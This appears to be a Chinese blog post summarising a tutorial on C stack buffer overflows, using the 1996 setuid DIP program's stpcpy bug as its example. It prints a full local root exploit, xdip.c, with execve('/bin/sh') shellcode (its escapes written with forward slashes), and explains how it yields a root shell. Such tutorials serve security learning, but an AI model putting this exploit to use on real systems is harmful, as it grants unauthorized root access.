What is "Buffer Overflows" and "format string vulnerabilities"

 

伦敦大学孟博士极力推荐的内容.

 

网站是 http://doc.bughunter.net/

 

1. C 语言缓冲溢出漏洞
http://doc.bughunter.net/buffer-overflow/buffer-overflows.html

 

2. C++ 虚函数缓冲溢出漏洞

http://doc.bughunter.net/buffer-overflow/cpp-vptrs.html

 

3. 格式化字符串漏洞

http://doc.bughunter.net/format-string/exploit-fs.html

 

 

时间关系只粗粗看了其中的第一篇文章.

1. C 语言缓冲溢出漏洞

 

栈的地址一般是这样的。

|_parametre_I___| EBP+12
|_parametre II__| EBP+8
|_return adress_| EBP+4
|___saved_ESP___| EBP ESP
|_local var I __| EBP-4
|_local var II__| EBP-8

函数调用开始的时候,CPU把函数调用后的返回地址Push进栈中,然后再跳转到被调用函数的入口程序存储器地址执行。
被调用函数结束后,函数局部变量依次被Pop出来,CPU调用返回指令(不同ARCH的CPU指令名并不相同)跳转到主程序地址。
这样一个函数调用就结束了。

如果被调用函数的局部缓冲溢出,正好覆盖了返回地址的值,则导致程序返回的时候无法返回到主程序。再进一步,如果这个返回地址
被黑客利用修改成某一段可执行的程序地址,则那段程序就会被执行了,如果那段程序被设置成新建一个Shell进程。
则黑客可以轻松利用当前用户登陆到系统,更进一步,如果当前进程正好是SUID限权,黑客新建的shell登陆就是root权限的! 很恐怖哦。

在3.3.7o-uri (8 Feb 96) 版本 DIP (Dial-Up IP Protocol) 程序中就有这样一个缓冲区溢出漏洞. 而这个程序在很多版本的Linux系统正好是默认setuid.

出问题的是DIP程序的这句代码.
l = stpcpy(l, argv[i]);

程序没有判断argv[i] 的长度,就将命令参数传递了进来,这给了黑客机会将凑好的数据塞给DIP程序使得栈中的返回地址被修改.

黑客只要写一个很简单的程序,就可以获得系统的root权限.

xdip.c :


#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 221
#define ALIGNMENT 1

char sc[]=
"/x31/xc0/x50/x68//sh/x68/bin/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";

void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf + ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");

for (i = 0; i < BUFSIZE - 4; i += 4)
*ap++ = ret;

execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}


字符串
sc[]
是下面这段程序的机器指令,通过objdump 和 gdb 命令可以获得!
#include <unistd.h>

void main()
{
char *shell[2];

shell[0] = "/bin/sh";
shell[1] = NULL;

execve(shell[0], shell, NULL);
}

黑客通过计算和试验,利用程序缓冲区漏洞,修改进程调用main()结束后的程序返回地址,使其指向sc[],
而sc[]做的事情是新建了一个Shell进程.由于SUID的缘故,这样这个Shell进程还是root权限的!












 



 

你可能感兴趣的:(String,shell,null,buffer,语言,alignment)